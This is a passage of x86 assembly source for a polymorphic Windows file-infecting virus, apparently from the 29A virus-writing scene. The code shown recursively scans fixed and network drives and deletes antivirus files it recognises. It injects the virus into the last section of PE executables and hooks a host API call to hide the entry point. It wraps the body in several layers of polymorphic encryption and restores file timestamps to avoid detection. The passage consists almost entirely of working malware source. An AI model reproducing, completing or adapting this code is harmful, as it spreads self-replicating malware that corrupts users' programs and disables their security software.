		push eax				;lpThreadId 
		xor edx,edx
		push edx				;dwCreationFlags
		push edx				;lpParameter
		lea eax,dword ptr [ebp+InfectionThread]
		push eax				;lpStartAddress 
		push edx				;dwStackSize
		push edx				;lpThreadAttributes
                call dword ptr [ebp+a_CreateThread]
		or eax,eax
		jz AfterThread

		ret ; Let the thread running until terminates

                ;============================================================
		;Free SFC
                ;============================================================

AfterThread:	mov eax,dword ptr [ebp+hSFC]
		or eax,eax
		jz SfcNotLoaded

		push eax
		call dword ptr [ebp+a_FreeLibrary]

                ;============================================================
		;Free IMAGEHLP
                ;============================================================

SfcNotLoaded:	mov eax,dword ptr [ebp+hIMGHLP]
		or eax,eax
		jz ExitIThread

		push eax
		call dword ptr [ebp+a_FreeLibrary]

		ret

;============================================================================
;Virus infection thread, created from inside EXPLORER.EXE process
;============================================================================

InfectionThread:call ThreadDelta
ThreadDelta:	pop ebp
		sub ebp,offset ThreadDelta

                lea esi,dword ptr [ebp+szLogicalDrives]
		mov edi,SIZEOF_LDSB
		push esi
		push edi
		call dword ptr [ebp+a_GetLogicalDriveStringsA]
		or eax,eax
		jz ExitIThread

		cmp eax,edi
		ja ExitIThread

		;============================================================
		;Follow the drives chain
		;============================================================
				
DrivesLoop:	cmp byte ptr [esi],00h
		jnz MoreDrives

                ;============================================================
		;Terminate infection thread
                ;============================================================

ExitIThread:	call AfterThread

		push 00000000h
		call dword ptr [ebp+a_ExitThread] ;Leave the thread

		;============================================================
		;Check drive type, only fixed or remote drives allowed
		;============================================================

MoreDrives:	push esi
		call dword ptr [ebp+a_GetDriveTypeA]

		cmp eax,00000003h 	; DRIVE_FIXED
		je CheckThisDrive

		cmp eax,00000004	; DRIVE_REMOTE
		jne NextDrive

		;============================================================
		;Got it! Do recursive search on drive
		;============================================================
	
CheckThisDrive:	push esi
		lea edi,dword ptr [ebp+BufGetDir]
		push edi
		call parse_filename
		call Search4Files
		pop edi
		pop esi

NextDrive:	cld
NextDString:	lodsb
		or al,al
		jnz NextDString

		jmp DrivesLoop

;============================================================================
;Search for target... 
;
;This routine its able to call itself in order to perform a recursive
;search all along the entire directory tree
;
;============================================================================

		;============================================================
		;Store local information on the stack
		;============================================================

Search4Files:	sub esp,SIZEOF_WIN32_FIND_DATA + 00000004h
		mov ebx,esp

		;Find frame:
		;
		; Path where to perform search ( size MAX_PATH )
		; Return address ( size DWORD )
		; FindHandle ( size DWORD )
		; Find data ( size SIZEOF_WIN32_FIND_DATA )

FindStack_Ptr2FindData		equ 00000000h
FindStack_Ptr2FindHandle	equ SIZEOF_WIN32_FIND_DATA
FindStack_Ptr2ReturnAddress	equ SIZEOF_WIN32_FIND_DATA + 00000004h
FindStack_Ptr2SearchPath	equ SIZEOF_WIN32_FIND_DATA + 00000008h

		;============================================================
		;Do FindFirstFile
		;============================================================

		push ebx ; lpFindFileData 

		mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
		mov edi,esi

		push edi ; lpFileName 

		call parse_filename
		dec edi
		
		cmp byte ptr [edi-00000001h],'\'
		jne RootAware

		dec edi

RootAware:	mov eax,'*.*\'
		stosd
		xor eax,eax
		stosb

		call dword ptr [ebp+a_FindFirstFileA]
		cmp eax,INVALID_HANDLE_VALUE
		je ErrorFindFirst

		mov dword ptr [ebx+FindStack_Ptr2FindHandle],eax

		;============================================================
		;Find data ready to be checked
		;============================================================

GoFindRecord:	lea esi,dword ptr [ebx+WFD_szFileName]
		cld
		lodsd

		;============================================================
		;Check for . and ..
		;============================================================

		cmp ax,002Eh
		je DoFindNext

		and eax,00FFFFFFh
		cmp eax,00002E2Eh
		je DoFindNext

		;============================================================
		;Check if this is a directory
		;============================================================

		mov eax,dword ptr [ebx]

		test eax,FILE_ATTRIBUTE_DIRECTORY
		jz DoFileFound

		;============================================================
		;Directory found, perform recursive search on it
		;============================================================

		push ebx

		mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
		sub esp,MAX_PATH
		mov edi,esp

		push edi

		call parse_filename

		lea esi,dword ptr [ebx+WFD_szFileName]
		mov edi,edx
		call parse_filename
		
		call Search4Files
		pop edi

		add esp,MAX_PATH

		pop ebx
		jmp DoFindNext

		;============================================================
		;File found, check if its a valid host
		;============================================================

DoFileFound:	and eax,FILE_ATTRIBUTE_DIRECTORY  or			\
			FILE_ATTRIBUTE_COMPRESSED or			\
			FILE_ATTRIBUTE_SYSTEM

		jnz DoFindNext

                ;============================================================
		;Save file time
                ;============================================================

		cld
		lea esi,dword ptr [ebx+WFD_ftCreationTime]
		lea edi,dword ptr [ebp+FT_CreationTime]

		movsd ; ftCreationTime ( dwLowDateTime )
		movsd ; ftCreationTime ( dwHighDateTime )

		movsd ; ftLastAccessTime ( dwLowDateTime )
		movsd ; ftLastAccessTime ( dwHighDateTime )

		movsd ; ftLastWriteTime ( dwLowDateTime )
		movsd ; ftLastWriteTime ( dwHighDateTime )

                ;============================================================
		;Check if file size is allowed
                ;============================================================

		lodsd		; EDI points to WFD_nFileSizeHigh
		or eax,eax
                jnz DoFindNext
		lodsd
		cmp eax,0FFFFFFFFh- \
			(size_virtual+(NUMBER_OF_POLY_LAYERS*00004000h))

		jae DoFindNext

		cmp eax,inf_size
		jbe DoFindNext

                ;============================================================
		;Save the file size for l8r use
                ;============================================================
				
		mov dword ptr [ebp+FileSizeOnDisk],eax

                ;============================================================
		;Check if file is already infected, using size padding
                ;============================================================

SIZE_PADDING	equ 00000065h

                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                or edx,edx
                jz DoFindNext

                ;============================================================
		;Get complete path + filename and convert it to upper case
                ;============================================================

		mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
		lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename
		lea esi,dword ptr [ebx+WFD_szFileName]
		mov edi,edx
		call parse_filename

;		al  -> Null
;		edx -> Points to filename at the end of path
;		edi -> Points 1byte above the null terminator

                ;============================================================
		;Check file extension
                ;============================================================

		lea esi,dword ptr [edi-00000005h]
		call get_str_crc32

		lea esi,dword ptr [ebp+TblCRC32szEXT]
		mov ecx,NumberOfExt
CheckExtLoop:	lodsd
		sub eax,edx
		jnz NoInterested

		;============================================================
		;Extension match... Infect file
		;============================================================

		call FileInfection
		jmp short DoFindNext

NoInterested:	loop CheckExtLoop

		;============================================================
		;None of our infectable extensions match
		;Lets see if this file is an AV related file...
		;============================================================

		lea esi,dword ptr [ebp+BufStrFilename]
		mov edi,esi
		call parse_filename ;Parse and reparse

		mov esi,edx
		call get_str_crc32

		lea esi,dword ptr [ebp+TblCRC32AV]
		mov ecx,NumberOfAV
CheckAVLoop:	lodsd
		sub eax,edx
		jnz AvNoMatch

		;============================================================
		;AV file found... Reset its attributes and delete it
		;============================================================

		lea esi,dword ptr [ebp+BufStrFilename]

		push eax ; 00000000h
		push esi
		call dword ptr [ebp+a_SetFileAttributesA]

		push esi
		call dword ptr [ebp+a_DeleteFileA]

		jmp short DoFindNext

AvNoMatch:	loop CheckAVLoop

		;============================================================
		;Before looking for more files lets sleep a while
		;============================================================

DoFindNext:	mov eax,00000800h
		call get_rnd_range
		add eax,00000400h
		push eax
		call dword ptr [ebp+a_Sleep]

		;============================================================
		;Find next directory or file
		;============================================================

		push ebx ; lpFindFileData 
		push dword ptr [ebx+FindStack_Ptr2FindHandle]

		call dword ptr [ebp+a_FindNextFileA]

		or eax,eax
		jnz GoFindRecord

ErrorFindFirst:	mov eax,00002000h
		call get_rnd_range
		add eax,00001000h
		push eax
		call dword ptr [ebp+a_Sleep]

		push dword ptr [ebx+FindStack_Ptr2FindHandle]
		call dword ptr [ebp+a_FindClose]

		mov esp,ebx
		add esp,SIZEOF_WIN32_FIND_DATA + 00000004h
		ret

;============================================================================
;Infect PE files
;
;On entry:
;		BufStrFilename -> Buffer that contains complete path and
;				  filename
;		DirectFindData -> Win32 Find Data structure filled with
;				  information about the file to infect
;============================================================================

FileInfection:	push ebx
		lea esi,dword ptr [ebp+BufStrFilename]
		mov edi,esi
		call parse_filename
		mov esi,edx

;****************************************************************************
;		mov eax,dword ptr [esi]
;		cmp eax,'TAOG'
;		jne ExitFileInf
;****************************************************************************

                ;============================================================
		;Avoid some files from being infected
                ;============================================================

CheckFileName:	push esi
		mov ecx,00000002h
		call get_crc32
		lea esi,dword ptr [ebp+avoid_tbl]
		mov ecx,avoid_num
AvoidLoop:	lodsd
		cmp eax,edx
		jne NextAvoid
		
		pop esi
		jmp ExitFileInf

NextAvoid:	loop AvoidLoop
		pop esi
		lodsb
		cmp al,'.'
		jne CheckFileName		
		
                ;============================================================
		;Check if file is protected by Windows File Protection
		;(Windows 2000 only)
                ;============================================================

		cmp dword ptr [ebp+hSFC],00000000h
		jz NotProtected
		lea eax,dword ptr [ebp+BufStrFilename]
		push eax
		push 00000000h
		call dword ptr [ebp+a_SfcIsFileProtected]
		or eax,eax
		jnz ExitFileInf

                ;============================================================
		;Try to infect this file
                ;============================================================

NotProtected:	call TryAttach

                ;============================================================
		;Exit file infection
                ;============================================================
								
ExitFileInf:	pop ebx
		ret

;============================================================================
;Infect file routines
;
;On entry:
;		BufStrFilename -> Buffer filled with path + filename
;============================================================================

SEH_Block_0001  macro
                add esp,-cPushad
		jnz Ape_err
                endm

                ;============================================================
		;Open target file for read-only access
                ;============================================================

TryAttach:	call FileMapRO
		or eax,eax
		jz inf_file_err

                ;============================================================				
		;Register ebx contains the base address of the target file
		;all along infection routines
                ;============================================================

		mov ebx,eax

                ;============================================================
                ;Check for MZ signature at base address
                ;============================================================

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne inf_close_file

                ;============================================================
                ;Check file address of relocation table
                ;============================================================

                cmp word ptr [ebx+MZ_lfarlc],0040h
                jb inf_close_file

                ;============================================================
                ;Now go to the pe header and check for the PE signature
                ;============================================================

                mov esi,dword ptr [ebx+MZ_lfanew]
		mov eax,dword ptr [ebp+FileSizeOnDisk]
		shr eax,01h
		cmp esi,eax
		jae inf_close_file

                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne inf_close_file

                ;============================================================
                ;Check machine field in IMAGE_FILE_HEADER
                ;just allow i386 PE files
                ;============================================================

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne inf_close_file

                ;============================================================
                ;Now check the characteristics, look if file
                ;is an executable
                ;============================================================

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE or 			\
			IMAGE_FILE_32BIT_MACHINE

                jz inf_close_file

                ;============================================================
                ;Avoid DLL's
                ;============================================================

		; Removed to allow .CPL infection
		;
                ; test ax,IMAGE_FILE_DLL
                ; jnz inf_close_file

                ;============================================================
		;Virus resides on last section
                ;============================================================

		call get_last_sh
		jecxz inf_close_file

                ;============================================================
		;Check subsystem, only GUI applications allowed
                ;============================================================

		movzx eax,word ptr [esi+OH_Subsystem]
		cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI
		jne inf_close_file

                ;============================================================
		;Save RVA of last section
                ;============================================================

		mov eax,edi
		sub eax,ebx
		mov dword ptr [ebp+virus_sh],eax

                ;============================================================
		;This is an attempt to avoid offending PE file formats
                ;============================================================
	
		mov eax,dword ptr [edi+SH_PointerToRawData]
		add eax,dword ptr [edi+SH_SizeOfRawData]
		add eax,dword ptr [esi+OH_FileAlignment]
		cmp eax,dword ptr [ebp+FileSizeOnDisk]
		jb inf_close_file

                ;============================================================
		;Save a pointer to imports
                ;============================================================

                mov eax,dword ptr [esi+					\
				   OH_DataDirectory+			\
                                   DE_Import+				\
                                   DD_VirtualAddress]

		mov dword ptr [ebp+FileImport],eax

                ;============================================================								
		;Go to relocations
                ;============================================================

                mov eax,dword ptr [esi+					\
				   OH_DataDirectory+			\
                                   DE_BaseReloc+			\
                                   DD_VirtualAddress]
		or eax,eax
		jz cant_overwrite

                ;============================================================
		;Relocations section is the last section?
                ;============================================================

		sub eax,dword ptr [edi+SH_VirtualAddress]
		jz got_vir_offset

                ;============================================================
		;We cant overwrite relocations...
		;...lets attach the virus to the end of last section
                ;============================================================

cant_overwrite:	mov eax,dword ptr [edi+SH_SizeOfRawData]
		mov edx,dword ptr [edi+SH_VirtualSize]
		cmp eax,edx
		jae got_vir_offset
		mov eax,edx

got_vir_offset:	add eax,dword ptr [edi+SH_PointerToRawData]
		mov dword ptr [ebp+vir_offset],eax
					
                ;============================================================
		;Search inside host code...
                ;============================================================

		@SEH_SetupFrame <SEH_Block_0001>
		xor ecx,ecx
		pushad

		call DoEPO
		mov dword ptr [esp+Pushad_ecx],ecx

Ape_err:	popad
		@SEH_RemoveFrame

		jecxz inf_close_file
		mov dword ptr [ebp+inject_offs],ecx

                ;============================================================
		;Close file...
                ;============================================================

		call FileUnmapRO

                ;============================================================
		;...and remap with oversize
                ;============================================================

		call FileMapRW
		or eax,eax
		jz inf_file_err

		add dword ptr [ebp+virus_sh],eax
		mov ebx,eax

                ;============================================================
		;Move virus to file
                ;============================================================

		lea esi,dword ptr [ebp+viro_sys]	
		mov edi,dword ptr [ebp+vir_offset]
		add edi,ebx				

		push edi

		mov ecx,inf_size
		cld
		rep movsb				

                ;============================================================
		;Save original code
                ;============================================================

		mov esi,dword ptr [ebp+inject_offs]		
		add esi,ebx

		pop edi
		push edi

		add edi,org_code-viro_sys		
		cld
		movsb
		movsd

                ;============================================================
		;Save some registers on 1st decryptor
                ;============================================================

		mov ecx,00000004h
		push ecx

		lea edi,dword ptr [ebp+TblStdPshP]
		cld
CleanStdLoop:	mov eax,00000004h
		sub eax,ecx
		stosd
		loop CleanStdLoop

		pop ecx
		push ecx

		lea edi,dword ptr [ebp+PshPStepIndex]
GenTblStdLoop:	mov eax,00000004h
		call get_rnd_range
		lea esi,dword ptr [ebp+TblStdPshP+eax*04h]
		lodsd
		cmp eax,0FFFFFFFFh
		jz GenTblStdLoop
		stosd
		mov dword ptr [esi-00000004h],0FFFFFFFFh
		loop GenTblStdLoop
		
		pop ecx

		lea esi,dword ptr [ebp+PshPStepIndex]

		pop edi
		push edi

		add edi,TblDoPolyPops-viro_sys

DoPolyPopsLoop:	lodsd		
		lea edx,dword ptr [ebp+eax+TblDoPop]
		mov al,byte ptr [edx]
		stosb
		loop DoPolyPopsLoop

                ;============================================================
		;Prepare first decryptor mark
                ;============================================================

		mov byte ptr [ebp+IsFirst],cl

                ;============================================================
		;Initialize size of all decryptors
                ;============================================================

		mov dword ptr [ebp+decryptor_size],ecx

                ;============================================================
		;Get CRC32 of main virus body and save it for l8r use
                ;============================================================

		pop esi
		push esi

		add esi,CRC_protected-viro_sys

		mov ecx,SizeOfProtect
		call get_crc32

		pop edi

		mov dword ptr [edi+ViralChecksum-viro_sys],edx
							
                ;============================================================
		;Generate polymorphic encryption
                ;============================================================
		
		add edi,inf_size

		mov edx,dword ptr [ebp+vir_offset]
		mov eax,NUMBER_OF_POLY_LAYERS
		call get_rnd_range
		inc eax
		inc eax
		mov ecx,eax

each_layer:	push ecx
		cmp ecx,00000001h
		jne Set1stFlag
		mov dword ptr [ebp+IsFirst],0FFh
Set1stFlag:	mov ecx,dword ptr [ebp+decryptor_size]				
		add ecx,inf_size
		mov esi,dword ptr [ebp+vir_offset]
		call Mutate
		add dword ptr [ebp+decryptor_size],ecx				
		pop ecx
		loop each_layer

                ;============================================================
		;Insert a call to virus code over the api call
                ;============================================================

		mov edi,dword ptr [ebp+inject_offs]
		add edi,ebx
		mov al,0E8h
		stosb				
		push edi

                ;============================================================
		;Calculate the CALL displacement
                ;============================================================

		call get_code_sh

		mov eax,dword ptr [esi+OH_FileAlignment]
		mov dword ptr [ebp+raw_align],eax

		mov eax,dword ptr [ebp+inject_offs]
		sub eax,dword ptr [edi+SH_PointerToRawData]
		add eax,dword ptr [edi+SH_VirtualAddress]				
		push eax

		mov eax,dword ptr [ebp+entry_point]
		sub eax,00000005h
		sub eax,ebx

		mov edi,dword ptr [ebp+virus_sh]
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,dword ptr [edi+SH_VirtualAddress]

		pop edx
		sub eax,edx				
		pop edi
		stosd

		mov edi,dword ptr [ebp+virus_sh]

                ;============================================================
		;Set read/write access on virus section
                ;============================================================

		or dword ptr [edi+SH_Characteristics],			\
			     IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

                ;============================================================
		;Dont share virus section
                ;============================================================

                and dword ptr [edi+SH_Characteristics],			\
			       not IMAGE_SCN_MEM_SHARED

                ;============================================================
		;Update SizeOfRawData
                ;============================================================

		mov eax,dword ptr [ebp+vir_offset]
		add eax,dword ptr [ebp+decryptor_size]
		add eax,inf_size
		mov edx,dword ptr [edi+SH_PointerToRawData]
		mov dword ptr [ebp+fix_size],edx
		sub eax,edx
		cmp eax,dword ptr [edi+SH_SizeOfRawData]
		jbe RawSizeOk

                ;============================================================
		;If we changed SizeOfRawData round up to nearest
		;file alignment
                ;============================================================

		xor edx,edx
		mov ecx,dword ptr [ebp+raw_align]
		div ecx
		inc eax
		mul ecx				
		mov edx,dword ptr [edi+SH_SizeOfRawData]
		mov dword ptr [edi+SH_SizeOfRawData],eax
		sub eax,edx
				
		test dword ptr [edi+SH_Characteristics],		\
				IMAGE_SCN_CNT_INITIALIZED_DATA
		jz RawSizeOk
		add dword ptr [esi+OH_SizeOfInitializedData],eax

                ;============================================================
		;Update VirtualSize
                ;============================================================

RawSizeOk:	mov eax,dword ptr [edi+SH_SizeOfRawData]
		add dword ptr [ebp+fix_size],eax
		add eax,size_virtual-inf_size
		cmp eax,dword ptr [edi+SH_VirtualSize]
		jbe VirtualSizeOk

		mov dword ptr [edi+SH_VirtualSize],eax

                ;============================================================
		;Update SizeOfImage
                ;============================================================

VirtualSizeOk:	mov eax,dword ptr [edi+SH_VirtualAddress]
		add eax,dword ptr [edi+SH_VirtualSize]
		xor edx,edx
                mov ecx,dword ptr [esi+OH_SectionAlignment]                
                div ecx
                inc eax
                mul ecx
		mov dword ptr [esi+OH_SizeOfImage],eax

                ;============================================================
		;Find any data directory entry pointing to last section
                ;============================================================

		mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES
		lea edx,dword ptr [esi+OH_DataDirectory]
FDataPtr2Last:	mov eax,dword ptr [edx]
		cmp eax,dword ptr [edi+SH_VirtualAddress]
		jne NextFDataPtr

		mov eax,dword ptr [edi+SH_VirtualSize]
		mov dword ptr [edx+00000004h],eax
		jmp short DoneFDataPtr

NextFDataPtr:	add edx,00000008h
		loop FDataPtr2Last

                ;============================================================
		;Clear BASE RELOCATION field
                ;============================================================

DoneFDataPtr:	xor eax,eax
                lea edi,dword ptr [esi+					\
				   OH_DataDirectory+			\
				   DE_BaseReloc+			\
                                   DD_VirtualAddress]
		cld
		stosd
		stosd

                ;============================================================
		;Compute new file checksum and update it on PE header
                ;============================================================

		mov eax,dword ptr [ebp+fix_size]
		mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                inc eax
                mul ecx
		push eax

		cmp dword ptr [ebp+hIMGHLP],00000000h
		jz NoChecksum

		mov byte ptr [ebx+eax],00h

		mov edx,eax
		lea esi,dword ptr [ebp+ChecksumPE]
		push esi				; CheckSum 
		lodsd
		push esi				; HeaderSum
		push edx				; FileLength
		push ebx

		call dword ptr [ebp+a_CheckSumMappedFile]
		or eax,eax
		jz NoChecksum
		cmp dword ptr [esi],00000000h
		jz NoChecksum

		mov edx,dword ptr [esi-00000004h]
		mov dword ptr [eax+					\
			       NT_OptionalHeader.OH_CheckSum],edx		

                ;============================================================
		;Mark file as infected and optimize file size
                ;============================================================

NoChecksum:	pop eax	
		mov dword ptr [ebp+FatSize],eax
		call FileUnmapRW
		ret

                ;============================================================
		;Close file mapping
                ;============================================================

inf_close_file:	call FileUnmapRO
inf_file_err:	ret

;============================================================================
;Scan host code
;
;On entry:
;		ebx -> Memory image base address
;Exit:
;		ecx -> Inject point offset in file
;			   or NULL if error
;============================================================================

DoEPO:		mov edx,dword ptr [ebp+FileImport]
		call RVA2RAW
		mov dword ptr [ebp+ImportSH],edi

		call get_code_sh
		jecxz ExitApe
	
		mov eax,dword ptr [esi+OH_ImageBase]
		mov dword ptr [ebp+host_base],eax

		sub edx,dword ptr [edi+SH_VirtualAddress]

		mov ecx,dword ptr [edi+SH_SizeOfRawData]
		sub ecx,edx

		add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW
				
		lea esi,dword ptr [ebx+edx]
				
search_call:	push ecx
		xor eax,eax

		lodsb
		cmp al,0E8h	;Api call generated by Borland Linker?
		je try_borland

		cmp al,0FFh	;Api call generated by Microsoft Linker?
		je try_microsoft

err_api_call:	pop ecx
		loop search_call
ExitApe:	ret

try_borland:	mov eax,esi
		add eax,dword ptr [esi]			;Go to refered address
		sub eax,ebx				;Convert to rva

		mov edx,dword ptr [edi+SH_VirtualAddress]
		cmp eax,edx
		jb err_api_call				;Below code?
				
		add edx,dword ptr [edi+SH_VirtualSize]
		cmp eax,edx
		jae err_api_call			;Above code?
				
		cmp word ptr [eax+ebx-00000002h],25FFh	;JMP DWORD PTR [xxxx]
		jne err_api_call

		push dword ptr [eax+ebx]
		pop eax
		sub eax,dword ptr [ebp+host_base]	;Get a RVA again

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		sub eax,dword ptr [edx+SH_VirtualAddress]
		add eax,dword ptr [edx+SH_PointerToRawData]

		push dword ptr [eax+ebx]
		pop eax

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

found_place:	;Use this point? or better continue the search?

		call get_rnd_range
		test eax,01h
		jz err_api_call

		pop eax
		mov ecx,esi
		dec ecx
		sub ecx,ebx

		ret

try_microsoft:	cmp byte ptr [esi],15h
		jne err_api_call
		mov eax,dword ptr [esi+00000001h]
		sub eax,dword ptr [ebp+host_base]

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		sub eax,dword ptr [edx+SH_VirtualAddress]
		add eax,dword ptr [edx+SH_PointerToRawData]
		push dword ptr [eax+ebx]
		pop eax
				
		;If file is binded eax contains the address of the API
		;Lets check if eax points to a KERNEL32 API

		cmp eax,dword ptr [ebp+K32CodeStart]
		jb inside_import
		cmp eax,dword ptr [ebp+K32CodeEnd]
		jb found_place

inside_import:	mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		jmp found_place

;============================================================================
;SEH handling routines coded by Jacky Qwerty / 29A
;============================================================================

SEH_Frame:	sub edx,edx
                push dword ptr fs:[edx]
                mov fs:[edx],esp
                jmp [esp.(02h*Pshd).RetAddr]

SEH_RemoveFrame:push 00000000h
                pop edx
                pop dword ptr [esp.(02h*Pshd).RetAddr]
                pop dword ptr fs:[edx]
                pop edx
                ret (Pshd)

SEH_SetupFrame:	call SEH_Frame
                mov eax,[esp.EH_ExceptionRecord]
                test byte ptr [eax.ER_ExceptionFlags],			\
                               EH_UNWINDING or EH_EXIT_UNWIND
                mov eax,dword ptr [eax.ER_ExceptionCode]
                jnz SEH_Search
                add eax,-EXCEPTION_ACCESS_VIOLATION
                jnz SEH_Search
                mov esp,dword ptr [esp.EH_EstablisherFrame]
                mov dword ptr fs:[eax],esp
                jmp dword ptr [esp.(02h*Pshd).Arg1]
SEH_Search:	xor eax,eax
                ret

;============================================================================
;FileMapRO open and map a file for read-only access
;
;On entry:
;		BufStrFilename	-> Buffer filled with path + filename
;Exit:
;		eax -> Base address of memory map for file or null if error
;============================================================================

		;============================================================
		;GetFileAttributes
		;============================================================

FileMapRO:	lea esi,dword ptr [ebp+BufStrFilename]
		push esi				; lpFileName

		call dword ptr [ebp+a_GetFileAttributesA]
		cmp eax,0FFFFFFFFh
		jne FileGetAttrOk

FileGetAttrErr:	xor eax,eax
		ret

		;============================================================
		;CreateFile ( GENERIC_READ )
		;============================================================

FileGetAttrOk:	mov dword ptr [ebp+CurFileAttr],eax
		xor edi,edi

                push edi			; hTemplateFile
                push FILE_ATTRIBUTE_NORMAL	; dwFlagsAndAttributes
                push OPEN_EXISTING		; dwCreationDisposition
                push edi			; lpSecurityAttributes
                push edi			; dwShareMode
		push GENERIC_READ		; dwDesiredAccess
		push esi			; lpFileName

                call dword ptr [ebp+a_CreateFileA]

                cmp eax,INVALID_HANDLE_VALUE
		je FileGetAttrErr

		;============================================================
		;CreateFileMapping ( PAGE_READONLY )
		;============================================================

		mov dword ptr [ebp+h_CreateFile],eax

		push edi			  ; lpName
		push edi			  ; dwMaximumSizeLow
		push edi			  ; dwMaximumSizeHigh
		push PAGE_READONLY		  ; flProtect
		push edi			  ; lpFileMappingAttributes
		push dword ptr [ebp+h_CreateFile] ; hFile

                call dword ptr [ebp+a_CreateFileMappingA]
		or eax,eax
		jnz OkFileMappingRO

ErrFileMapRO:	push dword ptr [ebp+h_CreateFile]
		call dword ptr [ebp+a_CloseHandle]

		jmp FileGetAttrErr

		;============================================================
		;MapViewOfFile
		;============================================================

OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax

		push edi			; dwNumberOfBytesToMap  
		push edi			; dwFileOffsetLow
		push edi			; dwFileOffsetHigh
		push FILE_MAP_READ		; dwDesiredAccess
		push eax			; hFileMappingObject

		call dword ptr [ebp+a_MapViewOfFile]
		or eax,eax
		jnz FileViewOkRO

FileViewErrorRO:push dword ptr [ebp+h_FileMap]
		call dword ptr [ebp+a_CloseHandle]

		jmp ErrFileMapRO

		;============================================================
		;Ready!
		;============================================================

FileViewOkRO:	mov dword ptr [ebp+map_is_here],eax
		ret

		;============================================================
		;UnmapRO
		;============================================================

FileUnmapRO:	push ebx
		call dword ptr [ebp+a_UnmapViewOfFile]
		jmp FileViewErrorRO

;============================================================================
;FileMapRW open and map a file for read and write access
;
;On entry:
;		BufStrFilename	-> Buffer filled with path + filename
;Exit:
;		eax -> Base address of memory map for file or null if error
;============================================================================

		;============================================================
		;Calculate size of infected file
		;============================================================

FileMapRW:	mov eax,dword ptr [ebp+vir_offset]
		add eax,( size_virtual * 02h ) + \
			( NUMBER_OF_POLY_LAYERS * 00004000h )

                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                inc eax
                mul ecx
		mov dword ptr [ebp+FatSize],eax

		;============================================================
		;SetFileAttributes
		;============================================================

		lea esi,dword ptr [ebp+BufStrFilename]

                push FILE_ATTRIBUTE_NORMAL		; dwFileAttributes
                push esi				; lpFileName

                call dword ptr [ebp+a_SetFileAttributesA]
                or eax,eax
                jnz FileSetAttrOk

FileSetAttrErr:	xor eax,eax
		ret

		;============================================================
		;CreateFile ( GENERIC_READ or GENERIC_WRITE )
		;============================================================

FileSetAttrOk:	xor edi,edi
		mov dword ptr [ebp+map_is_here],edi

                push edi			   ; hTemplateFile
                push FILE_ATTRIBUTE_NORMAL	   ; dwFlagsAndAttributes
                push OPEN_EXISTING		   ; dwCreationDisposition
                push edi			   ; lpSecurityAttributes
                push edi			   ; dwShareMode
		push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess
		push esi			   ; lpFileName

                call dword ptr [ebp+a_CreateFileA]
                cmp eax,INVALID_HANDLE_VALUE
		jne FileOpenOkRW

FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse!

		push dword ptr [ebp+CurFileAttr]	  ; dwFileAttributes
		push esi				  ; lpFileName
		call dword ptr [ebp+a_SetFileAttributesA]

		jmp FileSetAttrErr

		;============================================================
		;CreateFileMapping ( PAGE_READWRITE )
		;============================================================

FileOpenOkRW:	mov dword ptr [ebp+h_CreateFile],eax

		push edi			; lpName
		push dword ptr [ebp+FatSize]	; dwMaximumSizeLow
		push edi			; dwMaximumSizeHigh
		push PAGE_READWRITE		; flProtect
		push edi			; lpFileMappingAttributes
		push eax			; hFile

                call dword ptr [ebp+a_CreateFileMappingA]
		or eax,eax
		jnz FileMapOkRW

FileMapErrorRW:	cmp dword ptr [ebp+map_is_here],edi
		jz FileSizeIsOk

		mov esi,dword ptr [ebp+h_CreateFile]		
		xor eax,eax

		push eax			; dwMoveMethod
		push eax			; lpDistanceToMoveHigh
		push dword ptr [ebp+FatSize]		; lDistanceToMove
		push esi				; hFile

		call dword ptr [ebp+a_SetFilePointer]
		cmp eax,0FFFFFFFFh
		je FileSizeIsOk

		push esi				; hFile
		call dword ptr [ebp+a_SetEndOfFile]

		lea edx,dword ptr [ebp+FT_LastWriteTime]
		push edx
		sub edx,00000008h
		push edx
		sub edx,00000008h
		push edx
		push esi

		call dword ptr [ebp+a_SetFileTime]

FileSizeIsOk:	push dword ptr [ebp+h_CreateFile]
		call dword ptr [ebp+a_CloseHandle]

		jmp FileOpenErrorRW

		;============================================================
		;MapViewOfFile
		;============================================================

FileMapOkRW:	mov dword ptr [ebp+h_FileMap],eax

		push dword ptr [ebp+FatSize]	; dwNumberOfBytesToMap  
		push edi			; dwFileOffsetLow
		push edi			; dwFileOffsetHigh
		push FILE_MAP_WRITE		; dwDesiredAccess
		push eax			; hFileMappingObject

		call dword ptr [ebp+a_MapViewOfFile]
		or eax,eax
